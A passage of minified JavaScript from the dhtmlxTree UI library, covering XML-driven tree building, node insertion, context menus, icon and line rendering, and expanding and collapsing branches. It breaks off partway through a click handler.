xmlPointer(a){this.d=a}xmlPointer.prototype={text:function(){if(!_isFF){return this.d.xml}var a=new XMLSerializer();return a.serializeToString(this.d)},get:function(a){return this.d.getAttribute(a)},exists:function(){return !!this.d},content:function(){return this.d.firstChild?(this.d.firstChild.wholeText||this.d.firstChild.data):\"\"},each:function(g,m,l,h){var e=this.d.childNodes;var n=new xmlPointer();if(e.length){for(h=h||0;h<e.length;h++){if(e[h].tagName==g){n.d=e[h];if(m.apply(l,[n,h])==-1){return}}}}},get_all:function(){var e={};var c=this.d.attributes;for(var g=0;g<c.length;g++){e[c[g].name]=c[g].value}return e},sub:function(g){var e=this.d.childNodes;var l=new xmlPointer();if(e.length){for(var h=0;h<e.length;h++){if(e[h].tagName==g){l.d=e[h];return l}}}},up:function(a){return new xmlPointer(this.d.parentNode)},set:function(a,c){this.d.setAttribute(a,c)},clone:function(a){return new xmlPointer(this.d)},sub_exists:function(e){var c=this.d.childNodes;if(c.length){for(var g=0;g<c.length;g++){if(c[g].tagName==e){return true}}}return false},through:function(e,m,q,h,r){var n=this.d.childNodes;if(n.length){for(var g=0;g<n.length;g++){if(n[g].tagName==e&&n[g].getAttribute(m)!=null&&n[g].getAttribute(m)!=\"\"&&(!q||n[g].getAttribute(m)==q)){var l=new xmlPointer(n[g]);h.apply(r,[l,g])}var o=this.d;this.d=n[g];this.through(e,m,q,h,r);this.d=o}}}};function dhtmlXTreeObject(m,h,c,a){if(dhtmlxEvent.initTouch){dhtmlxEvent.initTouch()}if(_isIE){try{document.execCommand(\"BackgroundImageCache\",false,true)}catch(l){}}if(typeof(m)!=\"object\"){this.parentObject=document.getElementById(m)}else{this.parentObject=m}this.parentObject.style.overflow=\"hidden\";this._itim_dg=true;this.dlmtr=\",\";this.dropLower=false;this.enableIEImageFix(true);this.xmlstate=0;this.mytype=\"tree\";this.smcheck=true;this.width=h;this.height=c;this.rootId=a;this.childCalc=null;this.def_img_x=\"18px\";this.def_img_y=\"18px\";this.def_line_img_x=\"18px\";this.def_line_img_y=\"24px\";this._dragged=new Array();this._selected=new Array();this.style_pointer=\"pointer\";this._aimgs=true;this.htmlcA=\" [\";this.htmlcB=\"]\";this.lWin=window;this.cMenu=0;this.mlitems=0;this.iconURL=\"\";this.dadmode=0;this.slowParse=false;this.autoScroll=true;this.hfMode=0;this.nodeCut=new Array();this.XMLsource=0;this.XMLloadingWarning=0;this._idpull={};this._pullSize=0;this.treeLinesOn=true;this.tscheck=false;this.timgen=true;this.dpcpy=false;this._ld_id=null;this._oie_onXLE=[];this.imPath=window.dhx_globalImgPath||\"\";this.checkArray=new Array(\"iconUncheckAll.gif\",\"iconCheckAll.gif\",\"iconCheckGray.gif\",\"iconUncheckDis.gif\",\"iconCheckDis.gif\",\"iconCheckDis.gif\");this.radioArray=new Array(\"radio_off.gif\",\"radio_on.gif\",\"radio_on.gif\",\"radio_off.gif\",\"radio_on.gif\",\"radio_on.gif\");this.lineArray=new Array(\"line2.gif\",\"line3.gif\",\"line4.gif\",\"blank.gif\",\"blank.gif\",\"line1.gif\");this.minusArray=new Array(\"minus2.gif\",\"minus3.gif\",\"minus4.gif\",\"minus.gif\",\"minus5.gif\");this.plusArray=new Array(\"plus2.gif\",\"plus3.gif\",\"plus4.gif\",\"plus.gif\",\"plus5.gif\");this.imageArray=new Array(\"leaf.gif\",\"folderOpen.gif\",\"folderClosed.gif\");this.cutImg=new Array(0,0,0);this.cutImage=\"but_cut.gif\";dhx4._eventable(this);this.dragger=new dhtmlDragAndDropObject();this.htmlNode=new dhtmlXTreeItemObject(this.rootId,\"\",0,this);this.htmlNode.htmlNode.childNodes[0].childNodes[0].style.display=\"none\";this.htmlNode.htmlNode.childNodes[0].childNodes[0].childNodes[0].className=\"hiddenRow\";this.allTree=this._createSelf();this.allTree.appendChild(this.htmlNode.htmlNode);if(dhtmlx.$customScroll){dhtmlx.CustomScroll.enable(this)}if(_isFF){this.allTree.childNodes[0].width=\"100%\";this.allTree.childNodes[0].style.overflow=\"hidden\"}var g=this;this.allTree.onselectstart=new Function(\"return false;\");if(_isMacOS){this.allTree.oncontextmenu=function(n){return g._doContClick(n||window.event,true)}}this.allTree.onmousedown=function(n){return g._doContClick(n||window.event)};this.XMLLoader=this._parseXMLTree;if(_isIE){this.preventIECashing(true)}this.selectionBar=document.createElement(\"DIV\");this.selectionBar.className=\"selectionBar\";this.selectionBar.innerHTML=\"&nbsp;\";this.selectionBar.style.display=\"none\";this.allTree.appendChild(this.selectionBar);if(window.addEventListener){window.addEventListener(\"unload\",function(){try{g.destructor()}catch(n){}},false)}if(window.attachEvent){window.attachEvent(\"onunload\",function(){try{g.destructor()}catch(n){}})}this.setImagesPath=this.setImagePath;this.setIconsPath=this.setIconPath;if(dhtmlx.image_path){this.setImagePath(dhtmlx.image_path)}this.setSkin(window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxtree\")||\"dhx_skyblue\");return this}dhtmlXTreeObject.prototype.setDataMode=function(a){this._datamode=a};dhtmlXTreeObject.prototype._doContClick=function(m,a){if(!a&&m.button!=2){if(this._acMenu){if(this._acMenu.hideContextMenu){this._acMenu.hideContextMenu()}else{this.cMenu._contextEnd()}}return true}var c=(_isIE?m.srcElement:m.target);while((c)&&(c.tagName!=\"BODY\")){if(c.parentObject){break}c=c.parentNode}if((!c)||(!c.parentObject)){return true}var h=c.parentObject;if(!this.callEvent(\"onRightClick\",[h.id,m])){(m.srcElement||m.target).oncontextmenu=function(q){(q||event).cancelBubble=true;return false}}this._acMenu=(h.cMenu||this.cMenu);if(this._acMenu){if(!(this.callEvent(\"onBeforeContextMenu\",[h.id]))){return true}if(!_isMacOS){(m.srcElement||m.target).oncontextmenu=function(q){(q||event).cancelBubble=true;return false}}if(this._acMenu.showContextMenu){var g=window.document.documentElement;var e=window.document.body;var n=new Array((g.scrollLeft||e.scrollLeft),(g.scrollTop||e.scrollTop));if(_isIE){var o=m.clientX+n[0];var l=m.clientY+n[1]}else{var o=m.pageX;var l=m.pageY}this._acMenu.showContextMenu(o-1,l-1);this.contextID=h.id;m.cancelBubble=true;this._acMenu._skip_hide=true}else{c.contextMenuId=h.id;c.contextMenu=this._acMenu;c.a=this._acMenu._contextStart;c.a(c,m);c.a=null}return false}return true};dhtmlXTreeObject.prototype.enableIEImageFix=function(a){if(!a){this._getImg=function(c){return document.createElement((c==this.rootId)?\"div\":\"img\")};this._setSrc=function(e,c){e.src=c};this._getSrc=function(c){return c.src}}else{this._getImg=function(){var c=document.createElement(\"DIV\");c.innerHTML=\"&nbsp;\";c.className=\"dhx_bg_img_fix\";return c};this._setSrc=function(e,c){e.style.backgroundImage=\"url(\"+c+\")\"};this._getSrc=function(c){var e=c.style.backgroundImage;return e.substr(4,e.length-5).replace(/(^\")|(\"$)/g,\"\")}}};dhtmlXTreeObject.prototype.destructor=function(){for(var c in this._idpull){var e=this._idpull[c];if(!e){continue}e.parentObject=null;e.treeNod=null;e.childNodes=null;e.span=null;e.tr.nodem=null;e.tr=null;e.htmlNode.objBelong=null;e.htmlNode=null;this._idpull[c]=null}this.parentObject.innerHTML=\"\";this.allTree.onselectstart=null;this.allTree.oncontextmenu=null;this.allTree.onmousedown=null;for(var c in this){this[c]=null}};function cObject(){return this}cObject.prototype=new Object;cObject.prototype.clone=function(){function a(){}a.prototype=this;return new a()};function dhtmlXTreeItemObject(l,c,e,a,g,h){this.htmlNode=\"\";this.acolor=\"\";this.scolor=\"\";this.tr=0;this.childsCount=0;this.tempDOMM=0;this.tempDOMU=0;this.dragSpan=0;this.dragMove=0;this.span=0;this.closeble=1;this.childNodes=new Array();this.userData=new cObject();this.checkstate=0;this.treeNod=a;this.label=c;this.parentObject=e;this.actionHandler=g;this.images=new Array(a.imageArray[0],a.imageArray[1],a.imageArray[2]);this.id=a._globalIdStorageAdd(l,this);if(this.treeNod.checkBoxOff){this.htmlNode=this.treeNod._createItem(1,this,h)}else{this.htmlNode=this.treeNod._createItem(0,this,h)}this.htmlNode.objBelong=this;return this}dhtmlXTreeObject.prototype._globalIdStorageAdd=function(c,a){if(this._globalIdStorageFind(c,1,1)){c=c+\"_\"+(new Date()).valueOf();return this._globalIdStorageAdd(c,a)}this._idpull[c]=a;this._pullSize++;return c};dhtmlXTreeObject.prototype._globalIdStorageSub=function(a){if(this._idpull[a]){this._unselectItem(this._idpull[a]);this._idpull[a]=null;this._pullSize--}if((this._locker)&&(this._locker[a])){this._locker[a]=false}};dhtmlXTreeObject.prototype._globalIdStorageFind=function(l,a,e,g){var h=this._idpull[l];if(h){if((h.unParsed)&&(!e)){this.reParse(h,0)}if(this._srnd&&!h.htmlNode){this._buildSRND(h,e)}if((g)&&(this._edsbpsA)){for(var c=0;c<this._edsbpsA.length;c++){if(this._edsbpsA[c][2]==l){dhx4.callEvent(\"ongetItemError\",[\"Requested item still in parsing process.\",l]);return null}}}return h}if((this.slowParse)&&(l!=0)&&(!a)){return this.preParse(l)}else{return null}};dhtmlXTreeObject.prototype._getSubItemsXML=function(a){var c=[];a.each(\"item\",function(e){c.push(e.get(\"id\"))},this);return c.join(this.dlmtr)};dhtmlXTreeObject.prototype.enableSmartXMLParsing=function(a){this.slowParse=dhx4.s2b(a)};dhtmlXTreeObject.prototype.findXML=function(c,a,e){};dhtmlXTreeObject.prototype._getAllCheckedXML=function(c,a,g){var e=[];if(g==2){c.through(\"item\",\"checked\",-1,function(h){e.push(h.get(\"id\"))},this)}if(g==1){c.through(\"item\",\"id\",null,function(h){if(h.get(\"checked\")&&(h.get(\"checked\")!=-1)){e.push(h.get(\"id\"))}},this)}if(g==0){c.through(\"item\",\"id\",null,function(h){if(!h.get(\"checked\")||h.get(\"checked\")==0){e.push(h.get(\"id\"))}},this)}if(e.length){return a+(a?this.dlmtr:\"\")+e.join(this.dlmtr)}if(a){return a}else{return\"\"}};dhtmlXTreeObject.prototype._setSubCheckedXML=function(a,c){var e=a?\"1\":\"\";c.through(\"item\",\"id\",null,function(g){if(!g.get(\"disabled\")||g.get(\"disabled\")==0){g.set(\"checked\",e)}},this)};dhtmlXTreeObject.prototype._getAllScraggyItemsXML=function(e,a){var g=[];var c=function(h){if(!h.sub_exists(\"item\")){g.push(h.get(\"id\"))}else{h.each(\"item\",c,this)}};c(e);return g.join(\",\")};dhtmlXTreeObject.prototype._getAllFatItemsXML=function(e,a){var g=[];var c=function(h){if(!h.sub_exists(\"item\")){return}g.push(h.get(\"id\"));h.each(\"item\",c,this)};c(e);return g.join(\",\")};dhtmlXTreeObject.prototype._getAllSubItemsXML=function(e,c,a){var c=[];a.through(\"item\",\"id\",null,function(g){c.push(g.get(\"id\"))},this);return c.join(\",\")};dhtmlXTreeObject.prototype.reParse=function(e){var l=this;if(!this.parsCount){l.callEvent(\"onXLS\",[l,e.id])}this.xmlstate=1;var g=e.unParsed;e.unParsed=0;this.XMLloadingWarning=1;var a=this.parsingOn;var m=this.waitUpdateXML;var o=this.parsedArray;this.parsedArray=new Array();this.waitUpdateXML=false;this.parsingOn=e.id;this.parsedArray=new Array();this.setCheckList=\"\";this._parse(g,e.id,2);var q=this.setCheckList.split(this.dlmtr);for(var h=0;h<this.parsedArray.length;h++){e.htmlNode.childNodes[0].appendChild(this.parsedArray[h])}if(g.get(\"order\")&&g.get(\"order\")!=\"none\"){this._reorderBranch(e,g.get(\"order\"),true)}this.oldsmcheck=this.smcheck;this.smcheck=false;for(var c=0;c<q.length;c++){if(q[c]){this.setCheck(q[c],1)}}this.smcheck=this.oldsmcheck;this.parsingOn=a;this.waitUpdateXML=m;this.parsedArray=o;this.XMLloadingWarning=0;this._redrawFrom(this,e);if(this._srnd&&!e._sready){this.prepareSR(e.id)}this.xmlstate=0;return true};dhtmlXTreeObject.prototype.preParse=function(c){if(!c||!this._p){return null}var a=false;this._p.clone().through(\"item\",\"id\",c,function(g){this._globalIdStorageFind(g.up().get(\"id\"));return a=true},this);if(a){var e=this._globalIdStorageFind(c,true,false);if(!e){dhx4.callEvent(\"ongetItemError\",[\"The item \"+c+\" not operable. Seems you have non-unique|incorrect IDs in tree's XML.\",c])}}return e};dhtmlXTreeObject.prototype._escape=function(a){switch(this.utfesc){case\"none\":return a;break;case\"utf8\":return encodeURIComponent(a);break;default:return escape(a);break}};dhtmlXTreeObject.prototype._drawNewTr=function(h,e){var g=document.createElement(\"tr\");var c=document.createElement(\"td\");var a=document.createElement(\"td\");c.appendChild(document.createTextNode(\" \"));a.colSpan=3;a.appendChild(h);g.appendChild(c);g.appendChild(a);return g};dhtmlXTreeObject.prototype.loadXMLString=dhtmlXTreeObject.prototype.parse=function(g,e,a){if(typeof e==\"string\"){a=e;e=null}if(a===\"json\"){return this.loadJSONObject(g,e)}else{if(a===\"csv\"){return this.loadCSVString(g,e)}}var c=this;if(!this.parsCount){this.callEvent(\"onXLS\",[c,null])}this.xmlstate=1;this.XMLLoader({responseXML:dhx4.ajax.parse(g)},e)};dhtmlXTreeObject.prototype.loadXML=dhtmlXTreeObject.prototype.load=function(c,h,e){if(typeof h==\"string\"){e=h;h=null}if(e===\"json\"){return this.loadJSON(c,h)}else{if(e===\"csv\"){return this.loadCSV(c,h)}}if(this._datamode&&this._datamode!=\"xml\"){return this[\"load\"+this._datamode.toUpperCase()](c,h)}var g=this;if(!this.parsCount){this.callEvent(\"onXLS\",[g,this._ld_id])}this._ld_id=null;this.xmlstate=1;this.XMLLoader=this._parseXMLTree;var a=this;dhx4.ajax.get(c,function(l){a.XMLLoader(l.xmlDoc,h);a=null})};dhtmlXTreeObject.prototype._attachChildNode=function(m,l,g,o,D,C,A,q,e,u,v){if(u&&u.parentObject){m=u.parentObject}if(((m.XMLload==0)&&(this.XMLsource))&&(!this.XMLloadingWarning)){m.XMLload=1;this._loadDynXML(m.id)}var r=m.childsCount;var E=m.childNodes;if(v&&v.tr.previousSibling){if(v.tr.previousSibling.previousSibling){u=v.tr.previousSibling.nodem}else{q=q.replace(\"TOP\",\"\")+\",TOP\"}}if(u){var h,y;for(h=0;h<r;h++){if(E[h]==u){for(y=r;y!=h;y--){E[1+y]=E[y]}break}}h++;r=h}if(q){var w=q.split(\",\");for(var x=0;x<w.length;x++){switch(w[x]){case\"TOP\":if(m.childsCount>0){u=new Object;u.tr=m.childNodes[0].tr.previousSibling}m._has_top=true;for(h=r;h>0;h--){E[h]=E[h-1]}r=0;break}}}var s;if(!(s=this._idpull[l])||s.span!=-1){s=E[r]=new dhtmlXTreeItemObject(l,g,m,this,o,1);l=E[r].id;m.childsCount++}if(!s.htmlNode){s.label=g;s.htmlNode=this._createItem((this.checkBoxOff?1:0),s);s.htmlNode.objBelong=s}if(D){s.images[0]=D}if(C){s.images[1]=C}if(A){s.images[2]=A}var c=this._drawNewTr(s.htmlNode);if((this.XMLloadingWarning)||(this._hAdI)){s.htmlNode.parentNode.parentNode.style.display=\"none\"}if((u)&&u.tr&&(u.tr.nextSibling)){m.htmlNode.childNodes[0].insertBefore(c,u.tr.nextSibling)}else{if(this.parsingOn==m.id){this.parsedArray[this.parsedArray.length]=c}else{m.htmlNode.childNodes[0].appendChild(c)}}if((u)&&(!u.span)){u=null}if(this.XMLsource){if((e)&&(e!=0)){s.XMLload=0}else{s.XMLload=1}}s.tr=c;c.nodem=s;if(m.itemId==0){c.childNodes[0].className=\"hiddenRow\"}if((m._r_logic)||(this._frbtr)){this._setSrc(s.htmlNode.childNodes[0].childNodes[0].childNodes[1].childNodes[0],this.imPath+this.radioArray[0])}if(q){var w=q.split(\",\");for(var x=0;x<w.length;x++){switch(w[x]){case\"SELECT\":this.selectItem(l,false);break;case\"CALL\":this.selectItem(l,true);break;case\"CHILD\":s.XMLload=0;break;case\"CHECKED\":if(this.XMLloadingWarning){this.setCheckList+=this.dlmtr+l}else{this.setCheck(l,1)}break;case\"HCHECKED\":this._setCheck(s,\"unsure\");break;case\"OPEN\":s.openMe=1;break}}}if(!this.XMLloadingWarning){if((this._getOpenState(m)<0)&&(!this._hAdI)){this.openItem(m.id)}if(u){this._correctPlus(u);this._correctLine(u)}this._correctPlus(m);this._correctLine(m);this._correctPlus(s);if(m.childsCount>=2){this._correctPlus(E[m.childsCount-2]);this._correctLine(E[m.childsCount-2])}if(m.childsCount!=2){this._correctPlus(E[0])}if(this.tscheck){this._correctCheckStates(m)}if(this._onradh){if(this.xmlstate==1){var a=this.onXLE;this.onXLE=function(n){this._onradh(l);if(a){a(n)}}}else{this._onradh(l)}}}return s};dhtmlXTreeObject.prototype.enableContextMenu=function(a){if(a){this.cMenu=a}};dhtmlXTreeObject.prototype.setItemContextMenu=function(h,g){var a=h.toString().split(this.dlmtr);for(var e=0;e<a.length;e++){var c=this._globalIdStorageFind(a[e]);if(!c){continue}c.cMenu=g}};dhtmlXTreeObject.prototype.insertNewItem=function(g,n,q,e,m,l,h,c,a){var r=this._globalIdStorageFind(g);if(!r){return(-1)}var o=this._attachChildNode(r,n,q,e,m,l,h,c,a);if(!this._idpull[this.rootId].XMLload){this._idpull[this.rootId].XMLload=1}if((!this.XMLloadingWarning)&&(this.childCalc)){this._fixChildCountLabel(r)}return o};dhtmlXTreeObject.prototype.insertNewChild=function(g,n,o,e,m,l,h,c,a){return this.insertNewItem(g,n,o,e,m,l,h,c,a)};dhtmlXTreeObject.prototype._parseXMLTree=function(a,e){var c=new xmlPointer(dhx4.ajax.xmltop(\"tree\",a));this._parse(c);this._p=c;if(e){e.call(this,a)}};dhtmlXTreeObject.prototype._parseItem=function(l,q,h,n){var e;if(this._srnd&&(!this._idpull[e=l.get(\"id\")]||!this._idpull[e].span)){this._addItemSRND(q.id,e,l);return}var m=l.get_all();if((typeof(this.waitUpdateXML)==\"object\")&&(!this.waitUpdateXML[m.id])){this._parse(l,m.id,1);return}if((m.text===null)||(typeof(m.text)==\"undefined\")){m.text=l.sub(\"itemtext\");if(m.text){m.text=m.text.content()}}var s=[];if(m.select){s.push(\"SELECT\")}if(m.top){s.push(\"TOP\")}if(m.call){this.nodeAskingCall=m.id}if(m.checked==-1){s.push(\"HCHECKED\")}else{if(m.checked){s.push(\"CHECKED\")}}if(m.open){s.push(\"OPEN\")}if(this.waitUpdateXML){if(this._globalIdStorageFind(m.id)){var o=this.updateItem(m.id,m.text,m.im0,m.im1,m.im2,m.checked,m.child)}else{if(this.npl==0){s.push(\"TOP\")}else{h=q.childNodes[this.npl]}var o=this._attachChildNode(q,m.id,m.text,0,m.im0,m.im1,m.im2,s.join(\",\"),m.child,0,h);m.id=o.id;h=null}}else{var o=this._attachChildNode(q,m.id,m.text,0,m.im0,m.im1,m.im2,s.join(\",\"),m.child,(n||0),h)}if(m.tooltip){o.span.parentNode.parentNode.title=m.tooltip}if(m.style){if(o.span.style.cssText){o.span.style.cssText+=(\";\"+m.style)}else{o.span.setAttribute(\"style\",o.span.getAttribute(\"style\")+\"; \"+m.style)}}if(m.radio){o._r_logic=true}if(m.nocheckbox){var r=o.span.parentNode.previousSibling.previousSibling;r.style.display=\"none\";o.nocheckbox=true}if(m.disabled){if(m.checked!=null){this._setCheck(o,m.checked)}this.disableCheckbox(o,1)}o._acc=m.child||0;if(this.parserExtension){this.parserExtension._parseExtension.call(this,l,m,(q?q.id:0))}this.setItemColor(o,m.aCol,m.sCol);if(m.locked==\"1\"){this.lockItem(o.id,true,true)}if((m.imwidth)||(m.imheight)){this.setIconSize(m.imwidth,m.imheight,o)}if((m.closeable==\"0\")||(m.closeable==\"1\")){this.setItemCloseable(o,m.closeable)}var g=\"\";if(m.topoffset){this.setItemTopOffset(o,m.topoffset)}if((!this.slowParse)||(typeof(this.waitUpdateXML)==\"object\")){if(l.sub_exists(\"item\")){g=this._parse(l,m.id,1)}}else{if((!o.childsCount)&&l.sub_exists(\"item\")){o.unParsed=l.clone()}l.each(\"userdata\",function(a){this.setUserData(m.id,a.get(\"name\"),a.content())},this)}if(g!=\"\"){this.nodeAskingCall=g}l.each(\"userdata\",function(a){this.setUserData(l.get(\"id\"),a.get(\"name\"),a.content())},this)};dhtmlXTreeObject.prototype._parse=function(e,l,a,c){if(this._srnd&&!this.parentObject.offsetHeight){var v=this;return window.setTimeout(function(){v._parse(e,l,a,c)},100)}if(!e.exists()){return}this.skipLock=true;if(!l){l=e.get(\"id\");var s=e.get(\"dhx_security\");if(s){dhtmlx.security_key=s}if(e.get(\"radio\")){this.htmlNode._r_logic=true}this.parsingOn=l;this.parsedArray=new Array();this.setCheckList=\"\";this.nodeAskingCall=\"\"}var u=this._globalIdStorageFind(l);if(!u){return dhx4.callEvent(\"onDataStructureError\",[\"XML refers to not existing parent\"])}this.parsCount=this.parsCount?(this.parsCount+1):1;this.XMLloadingWarning=1;if((u.childsCount)&&(!c)&&(!this._edsbps)&&(!u._has_top)){var m=0}else{var m=0}this.npl=0;e.each(\"item\",function(w,n){u.XMLload=1;this._parseItem(w,u,0,m);if((this._edsbps)&&(this.npl==this._edsbpsC)){this._distributedStart(e,n+1,l,a,u.childsCount);return -1}this.npl++},this,c);if(!a){e.each(\"userdata\",function(n){this.setUserData(e.get(\"id\"),n.get(\"name\"),n.content())},this);u.XMLload=1;if(this.waitUpdateXML){this.waitUpdateXML=false;for(var h=u.childsCount-1;h>=0;h--){if(u.childNodes[h]._dmark){this.deleteItem(u.childNodes[h].id)}}}var q=this._globalIdStorageFind(this.parsingOn);for(var h=0;h<this.parsedArray.length;h++){u.htmlNode.childNodes[0].appendChild(this.parsedArray[h])}this.parsedArray=[];this.lastLoadedXMLId=l;this.XMLloadingWarning=0;var r=this.setCheckList.split(this.dlmtr);for(var g=0;g<r.length;g++){if(r[g]){this.setCheck(r[g],1)}}if((this.XMLsource)&&(this.tscheck)&&(this.smcheck)&&(u.id!=this.rootId)){if(u.checkstate===0){this._setSubChecked(0,u)}else{if(u.checkstate===1){this._setSubChecked(1,u)}}}this._redrawFrom(this,null,c);if(e.get(\"order\")&&e.get(\"order\")!=\"none\"){this._reorderBranch(u,e.get(\"order\"),true)}if(this.nodeAskingCall!=\"\"){this.callEvent(\"onClick\",[this.nodeAskingCall,this.getSelectedItemId()])}if(this._branchUpdate){this._branchUpdateNext(e)}}if(this.parsCount==1){this.parsingOn=null;if(this._srnd&&u.id!=this.rootId){this.prepareSR(u.id);if(this.XMLsource){this.openItem(u.id)}}e.through(\"item\",\"open\",null,function(n){this.openItem(n.get(\"id\"))},this);if((!this._edsbps)||(!this._edsbpsA.length)){var o=this;window.setTimeout(function(){o.callEvent(\"onXLE\",[o,l])},1);this.xmlstate=0}this.skipLock=false}this.parsCount--;var o=this;if(this._edsbps){window.setTimeout(function(){o._distributedStep(l)},this._edsbpsD)}if(!a&&this.onXLE){this.onXLE(this,l)}return this.nodeAskingCall};dhtmlXTreeObject.prototype._branchUpdateNext=function(a){a.each(\"item\",function(g){var e=g.get(\"id\");if(this._idpull[e]&&(!this._idpull[e].XMLload)){return}this._branchUpdate++;this.smartRefreshItem(g.get(\"id\"),g)},this);this._branchUpdate--};dhtmlXTreeObject.prototype.checkUserData=function(c,e){if((c.nodeType==1)&&(c.tagName==\"userdata\")){var a=c.getAttribute(\"name\");if((a)&&(c.childNodes[0])){this.setUserData(e,a,c.childNodes[0].data)}}};dhtmlXTreeObject.prototype._redrawFrom=function(n,c,m,e){if(!c){var h=n._globalIdStorageFind(n.lastLoadedXMLId);n.lastLoadedXMLId=-1;if(!h){return 0}}else{h=c}var l=0;for(var g=(m?m-1:0);g<h.childsCount;g++){if((!this._branchUpdate)||(this._getOpenState(h)==1)){if((!c)||(e==1)){h.childNodes[g].htmlNode.parentNode.parentNode.style.display=\"\"}}if(h.childNodes[g].openMe==1){this._openItem(h.childNodes[g]);h.childNodes[g].openMe=0}n._redrawFrom(n,h.childNodes[g]);if(this.childCalc!=null){if((h.childNodes[g].unParsed)||((!h.childNodes[g].XMLload)&&(this.XMLsource))){if(h.childNodes[g]._acc){h.childNodes[g].span.innerHTML=h.childNodes[g].label+this.htmlcA+h.childNodes[g]._acc+this.htmlcB}else{h.childNodes[g].span.innerHTML=h.childNodes[g].label}}if((h.childNodes[g].childNodes.length)&&(this.childCalc)){if(this.childCalc==1){h.childNodes[g].span.innerHTML=h.childNodes[g].label+this.htmlcA+h.childNodes[g].childsCount+this.htmlcB}if(this.childCalc==2){var a=h.childNodes[g].childsCount-(h.childNodes[g].pureChilds||0);if(a){h.childNodes[g].span.innerHTML=h.childNodes[g].label+this.htmlcA+a+this.htmlcB}if(h.pureChilds){h.pureChilds++}else{h.pureChilds=1}}if(this.childCalc==3){h.childNodes[g].span.innerHTML=h.childNodes[g].label+this.htmlcA+h.childNodes[g]._acc+this.htmlcB}if(this.childCalc==4){var a=h.childNodes[g]._acc;if(a){h.childNodes[g].span.innerHTML=h.childNodes[g].label+this.htmlcA+a+this.htmlcB}}}else{if(this.childCalc==4){l++}}l+=h.childNodes[g]._acc;if(this.childCalc==3){l++}}}if((!h.unParsed)&&((h.XMLload)||(!this.XMLsource))){h._acc=l}n._correctLine(h);n._correctPlus(h);if((this.childCalc)&&(!c)){n._fixChildCountLabel(h)}};dhtmlXTreeObject.prototype._createSelf=function(){var a=document.createElement(\"div\");a.className=\"containerTableStyle\";a.style.width=this.width;a.style.height=this.height;this.parentObject.appendChild(a);return a};dhtmlXTreeObject.prototype._xcloseAll=function(c){if(c.unParsed){return}if(this.rootId!=c.id){if(!c.htmlNode){return}var g=c.htmlNode.childNodes[0].childNodes;var a=g.length;for(var e=1;e<a;e++){g[e].style.display=\"none\"}this._correctPlus(c)}for(var e=0;e<c.childsCount;e++){if(c.childNodes[e].childsCount){this._xcloseAll(c.childNodes[e])}}};dhtmlXTreeObject.prototype._xopenAll=function(a){this._HideShow(a,2);for(var c=0;c<a.childsCount;c++){this._xopenAll(a.childNodes[c])}};dhtmlXTreeObject.prototype._correctPlus=function(c){if(!c.htmlNode){return}var e=c.htmlNode.childNodes[0].childNodes[0].childNodes[0].lastChild;var h=c.htmlNode.childNodes[0].childNodes[0].childNodes[2].childNodes[0];var a=this.lineArray;if((this.XMLsource)&&(!c.XMLload)){var a=this.plusArray;this._setSrc(h,this.iconURL+c.images[2]);if(this._txtimg){return(e.innerHTML=\"[+]\")}}else{if((c.childsCount)||(c.unParsed)){if((c.htmlNode.childNodes[0].childNodes[1])&&(c.htmlNode.childNodes[0].childNodes[1].style.display!=\"none\")){if(!c.wsign){var a=this.minusArray}this._setSrc(h,this.iconURL+c.images[1]);if(this._txtimg){return(e.innerHTML=\"[-]\")}}else{if(!c.wsign){var a=this.plusArray}this._setSrc(h,this.iconURL+c.images[2]);if(this._txtimg){return(e.innerHTML=\"[+]\")}}}else{this._setSrc(h,this.iconURL+c.images[0])}}var g=2;if(!c.treeNod.treeLinesOn){this._setSrc(e,this.imPath+a[3])}else{if(c.parentObject){g=this._getCountStatus(c.id,c.parentObject)}this._setSrc(e,this.imPath+a[g])}};dhtmlXTreeObject.prototype._correctLine=function(c){if(!c.htmlNode){return}var a=c.parentObject;if(a){if((this._getLineStatus(c.id,a)==0)||(!this.treeLinesOn)){for(var e=1;e<=c.childsCount;e++){if(!c.htmlNode.childNodes[0].childNodes[e]){break}c.htmlNode.childNodes[0].childNodes[e].childNodes[0].style.backgroundImage=\"\";c.htmlNode.childNodes[0].childNodes[e].childNodes[0].style.backgroundRepeat=\"\"}}else{for(var e=1;e<=c.childsCount;e++){if(!c.htmlNode.childNodes[0].childNodes[e]){break}c.htmlNode.childNodes[0].childNodes[e].childNodes[0].style.backgroundImage=\"url(\"+this.imPath+this.lineArray[5]+\")\";c.htmlNode.childNodes[0].childNodes[e].childNodes[0].style.backgroundRepeat=\"repeat-y\"}}}};dhtmlXTreeObject.prototype._getCountStatus=function(c,a){if(a.childsCount<=1){if(a.id==this.rootId){return 4}else{return 0}}if(a.childNodes[0].id==c){if(a.id==this.rootId){return 2}else{return 1}}if(a.childNodes[a.childsCount-1].id==c){return 0}return 1};dhtmlXTreeObject.prototype._getLineStatus=function(c,a){if(a.childNodes[a.childsCount-1].id==c){return 0}return 1};dhtmlXTreeObject.prototype._HideShow=function(c,h){if((this.XMLsource)&&(!c.XMLload)){if(h==1){return}c.XMLload=1;this._loadDynXML(c.id);return}if(c.unParsed){this.reParse(c)}var g=c.htmlNode.childNodes[0].childNodes;var a=g.length;if(a>1){if(((g[1].style.display!=\"none\")||(h==1))&&(h!=2)){this.allTree.childNodes[0].border=\"1\";this.allTree.childNodes[0].border=\"0\";nodestyle=\"none\"}else{nodestyle=\"\"}for(var e=1;e<a;e++){g[e].style.display=nodestyle}}this._correctPlus(c)};dhtmlXTreeObject.prototype._getOpenState=function(a){if(!a.htmlNode){return 0}var c=a.htmlNode.childNodes[0].childNodes;if(c.length<=1){return 0}if(c[1].style.display!=\"none\"){return 1}else{return -1}};dhtmlXTreeObject.prototype.onRowClick2=function(){var a=this.parentObject.treeNod;if(!a.callEvent(\"onDblClick\",[this.parentObject.id,a])){return false}if((this.parentObject.closeble)&&(this.parentObject.closeble!=\"0\")){a._HideShow(this.parentObject)}else{a._HideShow(this.parentObject,2)}if(a.checkEvent(\"onOpenEnd\")){if(!a.xmlstate){a.callEvent(\"onOpenEnd\",[this.parentObject.id,a._getOpenState(this.parentObject)])}else{a._oie_onXLE.push(a.onXLE);a.onXLE=a._epnFHe}}return false};dhtmlXTreeObject.prototype.onRowClick=function(){var a=this.parentObject.treeNod;if(!a.callEvent(\"onOpenStart\",[this.parentObject.id,a._getOpenState(this.parentObject)])){return 